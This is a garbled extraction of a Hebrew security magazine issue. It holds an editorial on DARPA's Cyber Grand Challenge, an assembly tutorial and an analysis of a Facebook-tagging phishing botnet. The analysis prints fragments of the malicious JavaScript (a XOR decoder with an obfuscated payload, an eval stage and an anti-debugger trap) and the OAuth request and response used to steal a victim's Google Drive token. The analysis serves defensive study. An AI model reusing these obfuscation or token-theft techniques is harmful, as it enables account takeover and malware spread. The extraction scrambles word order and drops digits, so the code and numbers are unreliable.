Digital Whisper גליון 74, אוגוסט שרון בריזינוב, עידו נאור, דני גולנד, אופיר בק, שחר גלעד ו- 0x3d b

Size: px
Start display at page:

Download "Digital Whisper גליון 74, אוגוסט שרון בריזינוב, עידו נאור, דני גולנד, אופיר בק, שחר גלעד ו- 0x3d b"

Transcription

1 Digital Whisper מערכת המגזין: מייסדים: מוביל הפרויקט: עורכים: כתבים: אפיק קסטיאל, ניר אדר אפיק קסטיאל אפיק קסטיאל, ניר אדר שרון בריזינוב, עידו נאור, דני גולנד, אופיר בק, שחר גלעד ו- x3d b יש לראות בכל האמור במגזין Digital Whisper מידע כללי בלבד. כל פעולה שנעשית על פי המידע והפרטים האמורים במגזין Digital Whisper הינה על אחריות הקורא בלבד. בשום מקרה בעלי Digital Whisper ו/או הכותבים השונים אינם אחראים בשום צורה ואופן לתוצאות השימוש במידע המובא במגזין. עשיית שימוש במידע המובא במגזין הינה על אחריותו של הקורא בלבד. פניות, תגובות, כתבות וכל הערה אחרת - נא לשלוח אל editor@digitalwhisper.co.il

2 דבר העורכים ברוכים הבאים לדברי ה- 74 הגליון של הפתיחה של!Digital Whisper מה אז... שלומכם? קפיצה אחרי קצת פחות מתוכננת מעל חודש יולי הנה אנחנו שוב אח, חודש אוגוסט... חודש הכנסים בלאס-וגאס, החודש בו תעשיית אבטחת המידע מכל העולם מחכה בקוצר רוח ל- Buzzwords החדשים שיבואו בעקבות ההרצאות שיועברו ב- Hat Black ו- DEFCON הבאים עלינו לטובה. נראה מה נקבל הפעם... כל שנה ושנה, נערכת ב- DEFCON תחרות CTF בת 48 שעות בין מספר קבוצות האקרים מכל העולם, כאשר הקבוצה המנצחת הינה הקבוצה אשר הצליחה לפתור את עשרת אתגרי ההאקינג )ברובם מדובר ב- Engineering )Reverse בזמן הקצר ביותר. שנה שעברה נציג מהארגון DARPA בשם Mike Walker הציג מעל אחת מבמות הכנס את חוקי תחרות ה- Cyber Grand אשר הם מתכננים להריץ בכנס שעתיד להתקיים השנה. לתחרות הם קראו CTF,Challenge ומה שמעניין בה, מלבד הפרס )2 מליון דולר(, הוא שבתחרות הנ"ל המשתתפים אינם יהיו האקרים מרחבי העולם, אלא תוכנות שמספר צוותים מרחבי כתבו במהלך השנה האחרונה. התוכנה שתנצח תזכה את הכותבים בפרס. במסגרת התחרות, התוכנות עתידות לקבל כ- 12 קבצים בינארים עם פגיעויות שונות )ככל הנראה מבוססות,)Memory Corruption ומטרתן תיהיה לזהות את כשל האבטחה בכל אחד מהבינארים, לכתוב באופן אוטונומי ניצול אשר ידע לטרגר את אותה החולשה ולהגיש מטרה מסויימת )הרצת קוד בהרשאות התוכנה על מנת לקרוא תוכן של קובץ בשם קבוע? סתם להקריס את התוכנה?( ולאחר מכן - לשכתב את התוכנה כך שאותה הפגיעות תעלם )אך כמובן שהפונקציונליות המקורית של התוכנה - תשאר(. לפי דבריו של,Walker מטרתה של DARPA היא לבחון האם האנושות נמצאת היום בשלב בו ניתן לפתח "מערכות חיסון אוטונומיות" - מערכות שישבו באיזורים אסטרטגיים במרחב הרשת ובאופן עצמאי ינסו לאתר ולתקן כשלי אבטחה ברכיבים השונים. לפי טענתם עולם אבטחת המידע, ובייחוד עולם ההאקינג מתקדם בקצב כל כך מהיר, שבו, אם שלב החיסון לא יהיה אוטומטי - הצד המגן ישאר הרבה מאחור. בייחוד כשבעתיד הקרוב כל מקרר וטוסטר הולכים לקבל כתובת.IP 2 דבר העורכים

3 שווה להשאר מעודכנים בעניין הזה. ומעניין כמה אנחנו רחוקים מהמציאות של...Ghost In The Shell וכמובן, לפני הכל - נרצה להגיד תודה רבה לכל מי שבזכותו אתם קוראים מילים אלו: תודה רבה לשרון בריזינוב, תודה רבה לעידו נאור, תודה רבה לדני גולנד, תודה רבה לאופיר בק, תודה רבה לשחר גלעד ותודה רבה ל- x3d b525761! קריאה מהנה! ניר אדר ואפיק קסטיאל. 3 דבר העורכים

4 תוכן עניינים דבר העורכים תוכן עניינים אסמבלי - חלק ב' הבוטנט החברתי - החלק החסר בפאזל טיפים לשיפור אבטחת WORDPRESS קריפטוגרפיה - חלק א' משטחי תקיפה באפליקציות - ANDROID חלק II דברי סיכום 4 תוכן עניינים

5 אסמבלי מאת אופיר בק - חלק ב' הקדמה base.asm בחלק הזה נעסוק בפקודות בסיסיות ונכתוב קוד משלנו, שיתבסס על מהמבוא. הפקודות באסמבלי פועלות בצורה מעט שונה מבשפות עיליות. באסמבלי אנו מציינים את שם הפקודה ואז את האופרנדים )הזכרונות בהם הפקודה משתמשת(. חלק מהפקודות מקבלות אופרנד אחד, רובן מקבלות שתיים, ואחדות לא מקבלות אופרנדים בכלל. פקודת mov את הפקודה mov כבר הזכרנו בחלק הקודם, ועם זאת, רציתי לפרט עליה כמו שאפרט על כמה מפקודות הבסיס. הפקודה הזו מקבלת שני אופרנדים )=.)ops האופרנד הראשון מציין את היעד, והשני את המקור. כלומר: mov ax, 5h תעביר את המספר 5, בבסיס ההקסדצימלי, אל הרגיסטר.ax לעומת זאת: mov 5h, ax תעלה שגיאה, מכיוון שלא ניתן להכניס 'לתוך' המספר 5, את הערך ששמור ב- ax. ניתן להעתיק גם בין רגיסטרים שונים, כפי שהדגמנו בקוד הבסיס.base.asm כשאנו משתמשים במשתנים עבור פקודות אסמבלי כלשהן, אנו נציין אותם בעזרת סוגריים מרובעות. שימו לב! הפקודה mov לא מוחקת את המידע מאופרנד המקור. 5 אסמבלי - חלק ב'

6 דרכי העתקה: מותר להעתיק בדרכים הבאות: mov register, memory mov register, constant mov register, memory mov memory, register mov memory, constant לעומת זאת, לא ניתן להעתיק בדרך הבאה: mov memory, memory חשבו, מדוע? הסיבה לכך היא שכפי שציינו במבוא, בשל מבנה המחשב, לא ניתן לספק גישה לשני זכרונות באותו הזמן, אלא יש צורך להשתמש ברגיסטר ביניהם, כדי להעביר את המידע ללא בעיות. בנוסף לכך, יש לוודא שאנו מתעסקים באותו סוג גודל כשאנו מעתיקים, כלומר, אנו לא יכולים לעביר מ- bl, שהוא 8 ביטים, ל- ax, שהוא 16 ביטים, למרות שמבחינה הגיונית זה נראה לנו נכון. כמובן שיש גם צורך להתחשב בהגבלות הגודל האחרות שיש לנו, לדוג', לא נוכל להכניס ל- al את המספר 1h, ששוויו הוא 256 דצימלי, מכיוון ש- 8 ביטים מאפשרים לנו לייצג מספר בתחום הערכים -255 )במספרים לא מסומנים(. עכשיו, נתרגל את זה קצת. גשו לקובץ,base.asm והוסיפו שורות קוד )אנו כותבים שורות קוד לאחר הפקודה )mov ds, ax כך שהערך של ax יהיה 1 בינארי )מסומן ב- b(, הערך של bx יהיה 1 דצימלי )לא מסומן(, והערך של di יהיה 1 הקסדצימלי )מסומן ב- h(. שימוש בסוגריים מרובעות לציון מקום בזיכרון: כאשר אנו רוצים להצביע על מקום מסויים במערך, אנחנו מוסיפים מספר לשם המערך, לדוג', עבור המערך,arr שבו עשרה מקומות, שגודל כל אחד מהם הוא בית אחד, ובכל מקום יש את המספר הסידורי שלו )מ- עד 9(, אנו יכולים להעתיק את הערך שבמקום הראשון )מספר (, ל- ax בעזרת: mov ax, [arr] אבל כאשר אנו מעוניינים במקומות אחרים, עלינו לומר לאסמבלר כיצד להגיע אליהם. נעשה זאת על ידי שימוש במספר חופשי, או באחד הרגיסטרים.bx, si, di אני אדגים עכשיו שימוש לכל אחת מהשיטות האלו, להגעה למקום השמיני במערך )מספר 7(. 6 אסמבלי - חלק ב'

7 דרך ראשונה: mov ax, [arr + 7] דרך שנייה: mov bx, 7 mov ax, [arr + bx] * שימו לב שניתן היה להשתמש ב- si או ב- di במקום.bx ניתן גם להוסיף ל- bx את si או את,di אך לא את שניהם ביחד. פקודת :offset offset היא פקודה מיוחדת, מכיוון שאנו משתמשים בצורה שונה מאשר בשאר הפקודות, והיא נועדה כדי להכניס לרגיסטר או לזיכרון את ההיסט של מקום מסויים. אם נחזור לדוגמה הקודמת, ניתן להשתמש ב- mov bx, offset arr mov ax, [bx + 7] offset וליצור שיטה נוספת: לעיתים אנו נמצא סיבות להשתמש בפקודה offset ולא לקרוא לשם המערך כפי שהוא. פקודת :add עושה חיבור בין אופרנד המקור, לבין אופרנד היעד, ושומרת את התוצאה באופרנד היעד. לדוגמה, כדי לחבר את המספרים 8 ו- 3 ולשמור אותם ב- ax נשתמש בקוד הבא: כרגיל, ניתן להשתמש גם בזיכרון עם הרגיסטר )כמו בפקודת )mov ובשיטות שציינו כבר. mov ax, 8 mov bx, 3 add ax, bx פקודת :sub חיסור. גם הפקודה הזו שומרת את התוצאה באופרנד היעד, ולכן לא נפרט עליה עוד. פקודת :inc מעלה את האופרנד ב- 1. הפקודה הזו מקבלת רק אופרנד אחד. כדי להעלות את ax באח, נרשום: inc ax 7 אסמבלי - חלק ב'

8 פקודת :dec מורידה את האופרנד באחד. הסיבה להשתמש בפקודות inc או dec ולא ב- add עם אופרנד שערכו אחד, היא שהן דורשות פחות זיכרון. פקודות mul ו- imul : mul היא פקודת הכפלה עבור מספרים שאינם מסומנים, ו- imul עבור מספרים מסומנים. הפקודה מקבלת אופרנד אחד ובגלל התוצאה הגדולה האפשרית של הכפלה, הפעולה פועלת בצורה מיוחדת, שנפרט בטבלה הבאה )בטבלה מצויין mul אבל זה תקף גם לגבי :)imul תוצאה דוגמה הפקודה ax = al * bl dx:ax = ax * bx ax = al * var dx:ax = ax * var mul bl mul bx mul var mul var mul register (8 bit) mul register (16 bit) mul memory (8 bit) mul memory (16 bit) פקודות div ו- :idiv פקודות חילוק. גם פה, האות i מסמנת מספרים מסומנים, ובגלל האופציות הרבות נשתמש בטבלה נוספת )בטבלה מצויין div אך היא תקפה גם לגבי.)idiv הפעולה mod מחשבת את השארית של החילוק וגם היא מצויינת בטבלה: תוצאה דוגמה פקודה al = ax div bl ah = ax mod bl ax = dx:ax div bx dx = dx:ax mod bx al = ax div var ah = ax mod var ax = dx:ax div var dx = dx:ax mod var div bl div bx div var div var div register (8 bit) div register (16 bit) div memory (8 bit) div memory (16 bit) 8 אסמבלי - חלק ב'

9 פקודת :neg הפקודה הזאת הופכת את המספר למספר הנגדי שלו, לפי שיטת המשלים ל- 2. הפקודה מקבלת רק אופרנד אחד והיא הופכת אותו. פקודות לוגיות: פקודות לוגיות משנות ביטים בודדים, והן שימושיות כאשר עוסקים בדחיסת מידע ובהצפנה. פקודת :and הפקודה מקבלת שני אופרנדים, והיא מבצעת את הפעולה על כל ביט בנפרד לפי הטבלה הבאה: AND אפשר להשתמש בפקודה AND כדי לעשות דברים כמו לבדוק אם מספר הוא זוגי, מתחלק בארבע או אם הוא שלילי. כתבו קוד שעושה זאת. פקודת :or מקבלת שני אופרנדים ופועלת על פי הטבלה הבאה: OR פקודת :xor XOR מקבלת שני אופרנדים. פועלת על פי הטבלה: 1 9 אסמבלי - חלק ב'

10 XOR משתמשים בה הרבה כדי לאפס רגיסטר, במקום להשתמש בהעתקה של, מכיוון שהפקודה דורשת פחות מקום בזיכרון. בנוסף, משתמשים בה כדי להצפין. פקודת :not NOT 1 מקבלת אופרנד אחד, והופכת את כל הביטים שלו: 1 פקודות הזזה: פקודות שמקבלות אופרנד ומזיזות את הביטים שלו. ניתן להשתמש בהם לכפל וחילוק במספרים שמתחלקים ב- 2, וגם לתיקון שגיאות והצפנה )עליהם לא ארחיב, אבל אצרף קישורים(. פקודת :shl הפקודה מקבלת שני אופרנדים, הראשון הוא המספר להזזה, והשני הוא מספר ההזזות לביצוע. מזיזה את כל הביטים מקום אחד שמאלה, דוחפת אפס לביט הימני, ומעתיקה לדגל הנשא )CF( את הביט השמאלי ביותר )המקורי(. פקודת :shr זהה לפקודת,shr רק שהיא עושה את ההזזה ימינה, מה שניתן לנצל לחילוק במספרים שמתחלקים ב- 2. לסיכום למדנו פקודות אריתמטיות, פקודות לוגיות, ופקודות הזזה, וסקרנו חלק מהשימושים שלהן. עכשיו אתם יכולים להתחיל לכתוב קודים משלכם, כדי לתרגל את הפעולות האלו! למרות זאת, עדיין חסרה לנו היכולת לכתוב אלגוריתמים ותנאים, אותם נתרגל בפרק הבא. 1 אסמבלי - חלק ב'

11 על המחבר שמי אופיר בק, בן 16 מפתח תקווה. אני לומד בתכנית גבהים של מטה הסייבר הצה"לי וב- C-security, לאחר שסיימתי את לימודי המתמטיקה והאנגלית בכיתה י'. קשה למצוא חומר מעודכן בעברית, ולאחר ש- DigitalWhisper היווה עבורי מקור מידע נגיש, רציתי לתרום חזרה. ניתן ליצור איתי קשר בכתובת האימייל קישורים לקריאה נוספת :LFSR הצפנת קוד קונבולציה לתיקון שגיאות: 11 אסמבלי - חלק ב'

12 י- הבוטנט החברתי - החלק החסר בפאזל מאת עידו נאור ודני גולנד הקדמה בחודש יוני פורסם בבלוג של חברת Kaspersky Lab פוסט אודות מחקר אשר ביצעתי ביחד עם חבר נוסף בשם דני. המחקר אשר קראתי לו Can","Tag Me If You מתייחס לקמפיין פישינג מגניב לגמרי שהדביק למעלה מעשרת אלפים משתמשי פייסבוק בטווח זמן של פחות מ- 48 שעות והכיל בליבה שלו חולשה בפייסבוק. המשתמשים הנרגשים, שבסך הכל קיבלו נוטיפיקציה שתוייגו לתגובה ע י אחד החברים שלהם, מיהרו ללחוץ עליה וזו הובילה אותם ללינק אשר מוריד קובץ JSE שהוא שלב ההדבקה הראשון )והפחות מעניין למי שיותר טכני מבינינו( מתוך מתקפה בעלת שני שלבים. השלב השני טמן בחובו חידה אשר התייחסתי אליה כאל סוג של אתגר. זאת מפני שה- API של פייסבוק אכן מאפשר היזדהות כחבר פייסבוק באתר צד שלישי והוספת תגובות )ראו למשל,)YNET אך אוסר בתכלית האיסור תיוג של חבר, וגם אם יתבצע, פייסבוק מצידו לא ישלח את התיוג כנוטיפיקציה לאותו משתמש שתויג. עצם העובדה הזו אומרת ש מסתתר נחש מתחת לאבן הזו, והסקרנות שהרגה את החתול היא בדיוק ההרגשה שהציפה אותי. לפני שנתחיל חשוב לציין שעל המחקר הזה אני לא חתום לבדי, ולצידי היה דני גולנד מחברת,Undot שהיא בעצם חברת פיתוח שהוא מנהל באופן עצמאי. הכרתי את דני על רקע פיתוח של אפליקציית מובייל שייעדתי לתחום ה- HLS, אך זו כמו רעיונות נוספים נסגרה )בינתיים( במגירה. מעבר לעבודה, אני ודני הכרנו גם במישור האישי, וכאשר שיתפתי אותו בעשיית המחקר הוא ביקש להצטרף ונתן אינסייטים חשובים מאוד שחלקם גרמו לפתרון של הפאזל שעליו אפרט במאמר זה. למי שפחות מתעניין בכל הרקע הטכני ומעוניין רק לדעת מה הייתה הפגיעות בפייסבוק אשר לאפשרות של התוקף לתייג משתמשים לפוסט שפורסם באתר צד שלישי, אני אפרט בכמה שורות. גרמה שורה תחתונה מפעיל הקמפיין הנ"ל שם לב שכאשר הוא מזדהה בפלאגין של פייסבוק שקיים באתר חיצוני ומוסיף תגובה, הפוסט מתפרסם בפייסבוק. כלומר, הוא מקבל מזהה ייחודי של תגובה. לאחר שזיהה זאת, פירסם תגובה בממשק ה- Web הרגיל בתוך האתר של פייסבוק על מנת לזהות האם המזהים שונים. 12 הבוטנט החברתי - החלק החסר בפאזל

13 נראה כי הוא הגיע למסקנה שהמזהים אינם שונים בתבניתם ולכן יש לו את האפשרות ליצור תגובה בפייסבוק, לתייג אליה את כל החברים של הקורבן ואז לתפוס את המזהה הייחודי של התגובה במהלך הפרסום, ולהחליף אותו עם המזהה הייחודי של התגובה שיצר בפלאגין החיצוני. עצם המעשה הנ"ל יגרום לכך שהשרת של פייסבוק ישמור את המידע כפי שהוא, ומעצם התיוג ישלח נוטיפיקציות תיוג למשתמשים שתויגו. מה שהשרת לא ידע זה שהוא שומר את התגובה עם מזהה של פוסט שפורסם בפלאגין החיצוני ולכן לחיצה על הנוטיפיקציה תנווט את הקורבן לאותו פלאגין, שם ניתן להטמיע לינק להורדה. אותו הלינק מוריד את הקובץ JSE המדובר. השאלה היא היכן נמצא אותו קובץ, והתשובה היא שהוא נמצא בגוגל דרייב של אותו קורבן שדרכו הופצה התגובה. מבולבלים? גם אנחנו. מהתחלה בואו נסתכל רגע על הסכמה הבאה: נניח שלחצתי הרגע על תיוג בפייסבוק והוא הוביל אותי להורדה של אותו.JScript לאחר ההורדה, הקובץ יוריד כלי חיצוני,)AutoIT( יריץ קוד דרכו script(,)au3 יקריס את התהליך של הדפדפן הלגיטימי ויעלה מופע של דפדפן שעליו מותקן תוסף חדש שישמש בהתקפה כ אדם באמצע. באותו מופע של הדפדפן הזדוני, התוקף יפתח תגית של פייסבוק על מנת למשוך את הקורבן להתחבר חזרה לחשבון ולדמה שמירה של מצב הדפדפן לפני הסגירה. ברגע זיהוי הכניסה לחשבון הפייסבוק תתבצע הורדת קובץ JavaScript אותו נקבל משרת התקיפה וזה ישתלט על חשבון הפייסבוק והגוגל דרייב דרך ה- DOM. איך הוא עושה את זה? תיכף נראה. 13 הבוטנט החברתי - החלק החסר בפאזל

14 חשוב לציין במעמד זה שפייסבוק תיקנו את אותו באג, שכנראה נסחר מתחת לפני הקרקע כאשר הוא מוצמד לסקריפט פישינג איימתני, עליו נפרט היום. הפירוט יכלול כמובן מקרה פרטי ועל פי מחקרים שעשינו הכלי מכיל מופעים נוספים ויכולות נוספות, אך לא נכנס לזה כרגע. מש רגע לפני, נזכיר שעל מנת לייצר התקפה דרך ה- DOM על התוקף לייצר סקריפט אוטומטי ואדפטיבי לחלוטין שכן ה- DOM רץ ב- Side Client בצורה גלויה לחלוטין. דבר זה מעלה את הסיכון עבור חשיפתו ועריכתו של אותו קוד זדוני ולכן על הכותב של אותו קוד לדאוג שהוא מגן מפני אותם סיכונים, לכאורה... קצת על שלב העירבול ההתקפה אותה נתאר היא ההתקפה שמגיעה לאחר שתהליך הדפדפן הזדוני עולה וקוד נוסף הוזרק לצד הלקוח של הדפדפן. שם הקובץ,,data.js נשאר קבוע לאורך כל המחקר שלנו ורק תוכנו משתנה באופן רנדומלי בהתאם להתקפה ולמהלך האירועים סביבה. הקוד מכיל בערך 15 שורות מעורבלות לחלוטין. בתוך הקוד עצמו ישנן מספר הגנות מפני שינוי של הקוד, הרצה שלו שורה-שורה )דיבאג( ואף שכתוב מחדש וניסיון לשחק איתו. מעבר לזה, הקוד מכיל מיפוי אבסולוטי של רוב הפעולות שניתן לבצע בתוך אותה רשת חברתית, כאשר בין השאר הוא משתמש ב- XHR על מנת ליזום בקשות לשרת. זה הזמן לומר שכל התעבורה נעשית מעל הדפדפן. כותר הקובץ: דוגמא לחלק מהקוד המעורבל: //generated do <3-4 digits> //contact: var Y1h = (function J(B, Q) { var T = '', k = unescape('d%15%22%27@%2u_w%c%162%25%cz%a%5d%3a%2cjd94k4n*8%5%25o5%7e8%1e%3e%18i%15%5b%a%25a% 14%1B%1FM+%19%11ez%16.wxr%1A3%22%24ns%8X%7DMg94K4O%15%14%52i%12te%2w%1%182%12.%22%24%19%12m4k%Bq%1 F%7B%C%19.%14%16%1%15d%2C%13%A%5@%3A%2CAD%3E@d@%3E%15%1%4Kn5kd%A%1FG%18%3AvXn%1F@%26%5C%%5E%11 7%21W4/Jbm%22%C%3C43%25f%1DX6%1E%5C%1%1C%7CZ%3C%D%3D%4T%27%5E%5D%1D%7DG%7B%3F%15Zy%25A5m%1%1FZ%19 K%1Co%6J%3B%27/%1D%22%239%3F%3E%8Mh%1E%5C%C%FL%1Zc%5C%3D%4P%3BW_%1CRn%5E*%1D%3F%A%5D%25T%7C%1CO %2%1A%5B5%3A%1%21%3D%23Q%7Cn%3C%3E%3E%8Mh%6V1%1CJ%%B.%5Cs%5ET%3B%5E%5B%D+%2*%5EcM8%17V%2CI%CP Oo%5DY%2%3A%191mgQ7%22%234+CX%7DMJ%16%1AQ%7%2vIf%3Em%7ug%3D%7%3B%1.%6%3E%138%6%16r%Cx%23%A.%7 D%F%9%3A%5%1F%C%2%12%E%1C%18%17rX%7DMI%1%7L%6%11%13%3C%5E%18q%%9KqYqW%7EJh8p%Au%6pOo%5D% 8axF%7Cg%7BYnh13%3AS%21M%13%5D4VVOv%1%@%D_%5C%1C%3%19%7BKv%119%18@%8E%7C%1CO%19My%B%16%26%15% 29y%13x%D%27%3E7l%3B%13/BT%15W5%12g%%2%3DE%13K%B%4%191%%3C2G%2C%25E%3Bml%9Zz%5%7zu%7- %22%21%F54o%7BflG%AY%6HWc5%16%14HfK%D%12%1Fy%22%1E%3E%19%1A%7D%F%7F%25E%26_%18j4%18%19%E- %25%29%3F%7C%3D5%A%15%D*mJ%13%C.N%3F%13%A%14%%15LfK%D%2QN%1%25%C%E%3BM%7BF%1Cv%1B%7CC%3%2 %1y7/%1B%3CmgQ8%248/RG4%1D%5D%7W%12V%25vIf%%Dd%FZFhR%2C%%3A%3D%26%17b%3B%5E3S%21%1B%7zu%3%2 9%3E8%B%197'); for (var R =, I = ; R < k["length"]; R++, I++) { if (I === Q["length"]) { I = ; } T += String["fromCharCode"](k["charCodeAt"](R) ^ Q["charCodeAt"](I)); } var h = T.split('?*?'); 14 הבוטנט החברתי - החלק החסר בפאזל

15 דה-עירבול שלב ה דה-עירבול או שלב הפענוח של אותו קוד מתחיל מיד לאחר האימפלמנטציה של הפונקציה הראשונה, שמכילה 3 שורות לערך בגודל משתנה אך די יציב. הפונקציה הזו מקבלת שני ארגומטים בצורה של מחרוזות. האחד הוא התוכן במעורבל אותו הפונקציה תפענח והשני הוא מפתח הפענוח. אממה, הפונקציה לא תתחיל לפענח את אותה המחרוזת שמתקבלת כארגומנט, אלא את המחרוזת שנמצאת בבלוק למעלה, המאותחלת עם המשתנה k. כפי שניתן לראות, שלב הפענוח הוא חישוב של XOR של מיקום משתנה במחרוזת, עם מיקום משתנה במפתח הפענוח. כלומר, עבור כל תו במחרוזת המוצפנת, הלולאה תתאים תו במפתח. כאשר המצביע יגיע לתו האחרון במפתח )שווה לאורכו(, המצביע יתאפס ויתחיל מחדש. על מנת לפשט זאת, אם המפתח היה בגודל 3 והערך המוצפן בגודל 4, אזי שהתו האחרון של הערך המוצפן היה מפוענח באמצעות התו הראשון של המפתח. בחלק הקוד הבא ניתן לראות שהארגומנט שמתקבל עבור הפונקציה כערך מוצפן )"B"( נכנס לשלב הפענוח רק לאחר השלב הראשון, כאשר מפתח הפענוח שלו נוצר במהלך הפענוח הראשון. הערך המתקבל מתהליך הפענוח הראשון הינו מערך של מחרוזות, חלקן מוצפנות )שיפוענחו בתהליכונים הבאים( וחלקן שמות של פונקציות, מחרוזות מפתחות פענוח וערכים מתמטיים לצורכי חישובים נוספים.,Regex try { var f =, t = 25, o = []; o[f] = U[h[4]](c(U[h[41]] + h[3])) + h[3]; var K = o[f][h[11]]; for (var R = B[h[11]] - 1, I = ; R >= ; R--, I++) { if (I === K) { I = ; if (++f === t) { f = ; } if (o[h[11]] < t) { o[f] = U[h[4]](o[f - 1], o[f - 1]) + h[3]; } K = o[f][h[11]]; } e = String[h[5]](B[h[27]](R) ^ o[f][h[27]](i)) + e; } var E = eval(e); המשתנה "h" מייצג את המערך שנוצר משלב הפענוח הראשון ונראה בבירור חלק אקטיבי מהפענוח הבא אחריו. צילום המסך מראה כיצד תהליך הפענוח מתבצע בזמן ריצה. על מנת לחשוף את הקוד היה עלינו להעתיק את הקובץ data.js כולו לתיקייה מקומית ולכלול את אותו בהגדרות תוסף הדפדפן, הנמצא כמובן בקובץ ה- manifest.json. 15 הבוטנט החברתי - החלק החסר בפאזל

16 התוסף עצמו מכיל מכשולים לכשעצמו, כאשר הוא מכיל קוד המונע מהקורבן לגשת להגדרות התוספים בדפדפן. בעת הכניסה ל- chrome://extensions מתבצע ניתוב לחנות התוספים של גוגל. לאחר ההסרה של אותו הקוד יש ללחוץ על לחצן הרדיו mode" "developer בדפדפן, ומשם על Reload של אותו תוסף זדוני על מנת שיכלול את הקובץ data.js בצורה מקומית, שכן זה יחסוך לנו את הניסיון לתפוס אותו בזמן ששרת התקיפה משתמש בו. מניעת עריכה והגנות נוספות Debugger אנליזה סטטית של הקוד לא הניבה תוצאות שכן הסקריפט עושה שימוש בפונקצית eval על מנת להריץ קוד חדש ממחרוזת בזמן ריצה. לכן, אנליזה דינאמית הייתה הכרחית על מנת לקבל את הבלוקים החסרים של הקוד. במהלך ניסיון לדבג את הקוד, המצביע נכנס לקטע קוד המכיל את האובייקט דיבאגר שבעצם יוזם לופ של מעל 5 קריאות ל- sleep של 5 שניות. ניסיון להסיר את קטע הקוד הזה נתקל בשגיאה. (function() { 'axapg1vp27dzptu9n5n2xubuluffvvr6uok2e5hhozzk6vud2leatcduz2yaaajlganiw9zgolq53bn cwhjqwfnicik4ggskwhki2'; (function() { function a() { (function() {}).constructor("(function(f){(function a(){" + "try {" + "function b(i) {" + "if((''+(i/i)).length!== 1 i % 2 === ) {" + "(function(){}).constructor('debugger')();" + "} else {" + "debugger;" + "}" + "b(++i);" + "}" + "b();" + 16 הבוטנט החברתי - החלק החסר בפאזל

17 "} catch(e) {f.settimeout(a, 5)}" + "})()})(document.body.appendchild(document.createelement('frame')).contentwindow );")(); }; ]ה- Debugger מקשה על חקירת ה- DOM [ הגנה באמצעות גיבוב חתיכות קוד הטריק עם הדיבאגר אינו המכשול היחיד שעל החוקר לעקוף על מנת לדבג את הקוד בצורה נורמלית. למען באמת, החלק המורכב עוד לפנינו. באמצעות שימוש בפנקציית גיבוב, העורך של הסקריפט מייצר האשים של בלוקים של קוד בזמן ריצה, מה שמונע מהחוקר לערוך את הקוד. ברגע שעורכים חתיכה מהקוד על מנת לנסות לפרק אותו צעד צעד, להציב משתנים וכולי, הסקריט קורס. הקרסה של הקוד - פתרון קסם אחרי כמה ניסיונות כושלים, הצלחנו לבסוף לפתוח )unpack( כמעט את הקוד כולו. את שאר הקוד המעורבל הצלחנו להבין לאחר פתיחה של הקוד וכמובן ימים ולילות שבהם למדנו את המבנה של הקוד. גילינו שברגע שמייצרים שגיאה מכוונת כמו חלוקה ב-, למשל, בחלק מסוים בקוד, הסקריפט כושל אך ממשיך לרוץ ולפענח חלקים מסוימים בקוד. דבר זה הביא אותנו צעד-צעד לעבר פענוח מלא של הקוד. חלקו בצורה ידנית ומעט החלפות של מחרוזות עם שמות משתנים באמצעות סקריפטים של פייתון. 17 הבוטנט החברתי - החלק החסר בפאזל

18 בתוך הקוד גילינו סדרת שיטות השתלטות מתוחכמות אשר מסודרות בצורה מאוד מחושבת. ברור שמי שיצר את הסקריפט למד את ה- DOM של גוגל דרייב ופייסבוק במשך הרבה מאוד זמן: מתחת למכסה מנוע כעת, לאחר שהצלחנו לפענח את מירב הקוד ותפסנו את כל התעבורה מעל הדפדפן הגיע הזמן הקריטי להסתכל לקוד הזה בלבן של העין ולהבין כיצד אנחנו מגיעים לפגיעות של הפייסבוק, אם היא בכלל קיימת, ואם כן - אז איפה. גניבת טוקן - גוגל דרייב על מנת שהתוקף ישאר בצללים ועל מנת שההתקפה תהיה אוטומטית לחלוטין, הטרויאן )JSE( מועתק לגוגל דרייב של אותו קורבן שהתחבר לחשבון הפייסבוק שלו. על מנת ליצור סנריו שכזה התוקף חייב לגנוב את המזהה הייחודי token( )Authorization של המשתמש בעת חיבור לגוגל דרייב. ההתקפה מתחילה בבקשת GET ל- OAuth2 :Google GET urlshortener%2https:// m/auth/drive.appdata%2https:// apps.googleusercontent.com&redirect_uri=postmessage&origin= lopers.google.com/&response_type=token HTTP/1.1 Host: accounts.google.com... Cookie: SID=eQPBPD הבוטנט החברתי - החלק החסר בפאזל

19 בקשת רשות להשתמש בשני השירותים Google URL Shortener Google Drive API המטרה של הבקשה הלא כל כל טרויאלית הזו היא פשוט הבאים: הסיבה לשירותים הספציפיים האלו היא שה- Shortner Google יוטמע בהמשך ב- timeline של הקורבן, כאשר התוקף יעלה פוסט בשמו. הלינק יוביל לגוגל דרייב של אותו קורבן )על מנת לשמור על אמינות(. המטען )Payload( שחוזר בתגובה לבקשה מכיל את הטוקן המאשר שימוש באותם שירותים: HTTP/1.1 2 OK Content-Type: text/html; charset=utf-8... Content-Length: 1122 <!DOCTYPE html><html><head><title>connecting...</title><meta httpequiv="content-type" content="text/html; charset=utf-8"><meta http-equiv="x-ua- Compatible" content="ie=edge"><meta name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1, user-scalable="><script src=' postmessage.js'></script></head><body dir="rtl"><input type="hidden" id="error" value="false" /><input type="hidden" id="response-form-encoded" value="access_token=ya29.cjauawofms2h7tblfghnqalcc79evb3hb_5l7ktyg289asvgppxqq3 gsu6fsq_tj4a&token_type=bearer&expires_in=36" /><input type="hidden" id="origin" value=" /><input type="hidden" id="proxy" value="" /><input type="hidden" id="relay-endpoint" value=" /><input type="hidden" id="after-redirect" value="" /><script type="text/javascript">self['init'] = function() {postmessage.onload();};</script><script type="text/javascript" src=" dy></html> הטוקן שמודגש יוטמע בכל בקשת HTTP לגוגל דרייב, כערך ל- Bearer של כותר ה- Authorization : ]בקשה הכוללת את תוכן התוקן שנחטף במטרת גישה ל- Drive Google של הקורבן[ 19 הבוטנט החברתי - החלק החסר בפאזל

